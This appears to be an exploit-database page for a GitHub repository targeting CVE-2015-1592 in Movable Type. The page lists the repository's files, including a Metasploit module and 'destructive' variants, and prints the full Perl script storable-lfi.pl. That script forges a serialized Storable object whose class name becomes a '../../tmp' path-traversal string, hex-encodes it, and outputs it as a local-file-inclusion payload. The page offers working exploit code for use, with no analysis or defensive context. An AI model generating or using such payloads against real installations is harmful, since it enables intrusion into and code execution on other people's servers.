Exploit databaseDownload repository ZIP
GH-250b84239379b0b6f3aff0c22821af2d
lightsey/cve-2015-1592
Sources for CVE-2015-1592
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
lightsey/cve-2015-1592Revision 23fb3a7ea72e
- LICENSE
- README
- sixapart_movabletype_storable_exec.rb
- storable-destructive.pl
- storable-lfi.pl
- storable-nondestructive.pl
- storable-test.pl
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
storable-lfi.pl
Perl · 532 bytes#!/usr/bin/perl
use Storable;
{
package XX_XX_XX_XX_XX_XX_XX_XX_tmp_LocalFileInclusion;
sub STORABLE_thaw {
return 1;
}
sub STORABLE_freeze {
return 1;
}
}
my $data = bless { ignore => 'this' }, XX_XX_XX_XX_XX_XX_XX_XX_tmp_LocalFileInclusion;
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen =~ s/XX/../g;
$frozen =~ s/_/\//g;
$frozen = unpack 'H*', $frozen;
print "LFI payload for ../../../../../../../../tmp/LocalFileInclusion.pm is: $frozen\n";